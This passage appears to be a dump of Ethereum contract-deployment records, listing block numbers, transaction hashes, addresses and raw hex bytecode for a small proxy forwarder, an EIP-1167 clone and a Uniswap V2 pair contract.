600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 19,493,940 | d1baa1e413d3c4d1cacf5489cd0eae29618610419523ba982d26aae666a20229 | 71a935b614fa942b0852d83e1831bc6288f65abb5146e20acbaec09bfe1067b3 | 000099b4a4d3ceb370d3a8a6235d24e07a8c0000 | ee2a0343e825b2e5981851299787a679ce08216d | 516b6312265662d060398d29d1723cf9922cbeea | 6080604052348015600f57600080fd5b50604051610211380380610211833981016040819052602c916059565b600080546001600160a01b039092166001600160a01b031992831617905560018054909116331790556087565b600060208284031215606a57600080fd5b81516001600160a01b0381168114608057600080fd5b9392505050565b61017b806100966000396000f3fe60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c634300081900330000000000000000000000008906668094934bbfd0f787010fac65d8438019f5 | 60806040526004361061002d5760003560e01c80638da5cb5b146100d9578063d4b839921461011557610034565b3661003457005b600154336001600160a01b03909116036100a257600080546040516001600160a01b03909116906100689083903690610135565b600060405180830381855af49150503d80600081146100a0576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60405134815233907f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258749060200160405180910390a2005b3480156100e557600080fd5b506001546100f9906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b34801561012157600080fd5b506000546100f9906001600160a01b031681565b818382376000910190815291905056fea264697066735822122072fb1ca36d430fdff59e91c1f28c88a6d1e6ee148f01591a2f4693fddcfb655264736f6c63430008190033 | |
1 | 19,493,941 | 72631033c02778721ae2606733b552759a3dc8bf3a475cefb6c22135d5f18d68 | f46ab6ea1508acb3db3f3214387cb69d41ce98130e91de7551960a405d37a96c | a9a0b8a5e1adca0caccc63a168f053cd3be30808 | 01cd62ed13d0b666e2a10d13879a763dfd1dab99 | f90cf1e67bef805ff7528c852d2268891e97678c | 3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3 | |
1 | 19,493,944 | c65fc820688b338f8cf266dcb21fb27a37d3aac5eeb22231ff19a0f0512d381d | 26890cc3a3f1bf1af482c9042dd2919b40eb26e801b143e0c2ec22072d2c5067 | 5a14818419476d08c30bdebe0c2e34c504829895 | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | 3aac2918dc0c1de1dbd63b6b4b61128ca198c007 | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429 | 608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffff